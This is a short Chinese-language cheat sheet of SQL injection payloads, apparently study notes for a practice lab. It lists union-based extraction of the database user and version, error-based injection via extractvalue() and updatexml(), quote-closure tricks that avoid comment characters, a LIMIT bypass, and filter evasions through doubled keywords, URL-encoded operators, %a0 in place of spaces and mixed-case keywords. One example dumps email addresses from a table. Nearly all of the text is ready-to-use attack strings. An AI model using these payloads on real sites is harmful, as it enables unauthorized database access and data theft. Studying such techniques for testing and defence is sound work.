1、利用当前页面排版:
如id=1有数据而id=0无数据,则可构造信息?id=0 union select 1,2,3,user(),version()#
2、利用报错信息:
1.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
2.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
3、利用闭合绕过'、"、)等,不使用注释符,保持SQL语句完整:
1、GET:select * from user where id>"$id" order by id DESC limit 0,1;
?id=1" union select 1,2,3 where "1"="1 //and "1"="1,and "1也行
2、POST:select * from user where username="$u" and password="$p";
username:可使用盲注,admin and length(user())>1 and "1"="1 // and优先级比or高
password:因为是最后一个参数,所以方法多多,可union、and、or等
4、绕过limit 0,1:
?id=0 union select user(),version(),3 union select 1,2,3
id=0:为空数据,select 1,2,3:用以绕过limit 0,1,看参数情况select 1,2,3可以为select 1,2,'3、"3、('3、("3等
5、绕过or和and屏蔽:
使用双写oorr、aanndd或者&&、||(URL上使用需转码%26%26、%7c%7c)
6、绕过空格和注释屏蔽
URL里使用%a0代替空格,使用闭合代替注释
?id=0%27%a0union%a0select%a01,group_concat(email_id),3%a0from%a0emails%a0union%a0select(1),2,'3
7、绕过union和select屏蔽
黑名单:uNion、sElect等等